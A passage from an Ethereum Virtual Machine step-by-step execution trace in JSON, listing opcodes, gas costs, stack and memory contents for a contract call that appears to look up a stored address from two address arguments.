,"op":"SWAP2","gas":76870,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1767,"op":"SWAP1","gas":76867,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4","0x706"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1768,"op":"POP","gas":76864,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x706","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1769,"op":"JUMP","gas":76862,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x706"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1798,"op":"JUMPDEST","gas":76854,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1799,"op":"SWAP2","gas":76853,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1800,"op":"POP","gas":76850,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1801,"op":"PUSH2","gas":76848,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1804,"op":"PUSH1","gas":76845,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1806,"op":"DUP5","gas":76842,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1807,"op":"ADD","gas":76839,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x20","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1808,"op":"PUSH2","gas":76836,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1811,"op":"JUMP","gas":76833,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x6ce"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1742,"op":"JUMPDEST","gas":76825,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1743,"op":"DUP1","gas":76824,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1744,"op":"CALLDATALOAD","gas":76821,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1745,"op":"PUSH1","gas":76818,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1747,"op":"PUSH1","gas":76815,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1749,"op":"PUSH1","gas":76812,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1751,"op":"SHL","gas":76809,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1752,"op":"SUB","gas":76806,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1753,"op":"DUP2","gas":76803,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1754,"op":"AND","gas":76800,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1755,"op":"DUP2","gas":76797,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1756,"op":"EQ","gas":76794,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1757,"op":"PUSH2","gas":76791,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1760,"op":"JUMPI","gas":76788,"gasCost":10,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x6e5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1765,"op":"JUMPDEST","gas":76778,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1766,"op":"SWAP2","gas":76777,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1767,"op":"SWAP1","gas":76774,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x24","0x714"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1768,"op":"POP","gas":76771,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x714","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1769,"op":"JUMP","gas":76769,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x714"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1812,"op":"JUMPDEST","gas":76761,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1813,"op":"SWAP1","gas":76760,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1814,"op":"POP","gas":76757,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1815,"op":"SWAP3","gas":76755,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1816,"op":"POP","gas":76752,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1817,"op":"SWAP3","gas":76750,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1818,"op":"SWAP1","gas":76747,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4","0x1b9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1819,"op":"POP","gas":76744,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1b9","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1820,"op":"JUMP","gas":76742,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1b9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":441,"op":"JUMPDEST","gas":76734,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":442,"op":"PUSH1","gas":76733,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":444,"op":"PUSH1","gas":76730,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":446,"op":"SWAP1","gas":76727,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":447,"op":"DUP2","gas":76724,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":448,"op":"MSTORE","gas":76721,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":449,"op":"PUSH1","gas":76718,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":451,"op":"SWAP3","gas":76715,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":452,"op":"DUP4","gas":76712,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":453,"op":"MSTORE","gas":76709,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":454,"op":"PUSH1","gas":76706,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":456,"op":"DUP1","gas":76703,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x40"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":457,"op":"DUP5","gas":76700,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x40","0x40"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":458,"op":"KECCAK256","gas":76697,"gasCost":42,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x40","0x40","0x0"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":459,"op":"SWAP1","gas":76655,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x40","0x2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":460,"op":"SWAP2","gas":76652,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0x40"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":461,"op":"MSTORE","gas":76649,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x40","0x2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0x20"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":462,"op":"SWAP1","gas":76646,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x40"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":463,"op":"DUP3","gas":76643,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x40","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":464,"op":"MSTORE","gas":76640,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x40","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":465,"op":"SWAP1","gas":76637,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x40"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":466,"op":"KECCAK256","gas":76634,"gasCost":42,"depth":2,"stack":["0xe6a43905","0xd6","0x40","0x0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":467,"op":"SLOAD","gas":76592,"gasCost":100,"depth":2,"stack":["0xe6a43905","0xd6","0x431874daeb80cf49dba3f4eefe37604bc47b25379be3bc67ca2e9bfd0da83096"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":468,"op":"PUSH1","gas":76492,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":470,"op":"PUSH1","gas":76489,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":472,"op":"PUSH1","gas":76486,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":474,"op":"SHL","gas":76483,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":475,"op":"SUB","gas":76480,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x10000000000000000000000000000000000000000"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":476,"op":"AND","gas":76477,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":477,"op":"DUP2","gas":76474,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":478,"op":"JUMP","gas":76471,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xd6"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":214,"op":"JUMPDEST","gas":76463,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":215,"op":"PUSH1","gas":76462,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":217,"op":"MLOAD","gas":76459,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x40"],"memory":["000000000000000000000000175940b39014cd